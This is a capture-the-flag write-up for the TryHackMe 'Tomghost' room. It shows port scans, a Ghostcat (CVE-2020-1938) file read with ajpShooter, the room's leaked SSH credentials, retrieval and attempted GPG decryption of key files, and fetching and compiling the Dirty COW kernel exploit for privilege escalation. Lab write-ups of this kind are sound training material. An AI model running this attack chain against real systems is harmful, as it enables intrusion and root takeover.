← CTF archive

· Earliest timestamped screenshot

[TryHackMe] Tomghost

CVE-2020-1938

export machine="10.10.130.87"
rustscan -a $machine --ulimit 5000
PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack
53/tcp   open  domain     syn-ack
8009/tcp open  ajp13      syn-ack
8080/tcp open  http-proxy syn-ack

Web enumeration

8009/tcp open  ajp13      syn-ack --> NOTHING
8080/tcp open  http-proxy syn-ack --> Apache Tomcat/9.0.30

Screenshot

Files to look for:

Screenshot

Screenshot

/conf/tomcat-users.xml
/conf/RUNNING.txt

Ajp :

sudo nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 10.10.130.87

Apache Jserv (Protocol v1.3)

AjpShooter (http://10.10.130.87:8080/) :

python ajpShooter.py http://10.10.130.87:8080 8009 /WEB-INF/web.xml read

Screenshot

Creds :

skyfuck:8730281lkjlkjdqlksalks
ssh skyfuck@10.10.130.87

8730281lkjlkjdqlksalks

Screenshot

find / -name "user.txt" 2>/dev/null

Screenshot

Exfiltrate the files called “credentials.gpg” and “tryhackme.asc”.

Screenshot

Using these files to recover the credentials:

# importing the file
gpg --import tryhackme.asc
# Decrypt the file
gpg --decrypt credential.pgp

Le déchiffrement de la clé demande une phrase secrète.

Linux exploit suggester :

Screenshot

sudo docker pull ubuntu:16.04
sudo docker run -it  ubuntu:16.04 /bin/bash
apt update -y
apt install gcc
apt install wget
wget http://192.168.201.80:8000/dirty.c

Compilation :

gcc -pthread dirty.c -o dirty -lcrypt

Screenshot

Running the newly created binary:

./dirty

or

./dirty my-new-password